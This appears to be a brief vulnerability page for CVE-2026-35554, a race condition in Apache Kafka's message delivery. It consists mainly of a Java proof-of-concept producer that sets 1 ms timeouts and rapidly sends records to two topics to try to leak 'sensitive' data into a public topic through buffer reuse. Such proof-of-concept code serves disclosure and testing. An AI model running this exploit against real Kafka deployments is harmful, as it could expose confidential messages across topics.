CVE-2026-35554 Apache Kafka消息投递竞态漏洞

/* * PoC Concept for CVE-2026-35554 * This code attempts to trigger the race condition by setting a very short * delivery timeout and sending messages to different topics rapidly. */ import org.apache.kafka.clients.producer.*; import java.util.Properties; public class KafkaRaceConditionPoC { public static void main(String[] args) { Properties props = new Properties(); props.put("bootstrap.servers", "localhost:9092"); props.put("key.serializer", "org.apache.kafka.common.serialization.StringSerializer"); props.put("value.serializer", "org.apache.kafka.common.serialization.StringSerializer"); // Set a very short timeout to force expiration while in flight props.put("delivery.timeout.ms", "1"); props.put("request.timeout.ms", "1"); // Enable batching to increase chance of buffer reuse props.put("linger.ms", "10"); Producer<String, String> producer = new KafkaProducer<>(props); try { // 1. Send to Topic A (Sensitive Data) producer.send(new ProducerRecord<>("Topic-Sensitive", "key", "Secret-Data")); // 2. Simulate network delay or wait for timeout condition Thread.sleep(5); // 3. Rapidly send to Topic B to reuse the freed buffer // This batch may reuse the buffer from Topic A if the race condition occurs for (int i = 0; i < 100; i++) { producer.send(new ProducerRecord<>("Topic-Public", "key", "Public-Data-" + i)); } System.out.println("Messages sent. Check Topic-Public for potential data leakage."); } catch (Exception e) { e.printStackTrace(); } finally { producer.close(); } } }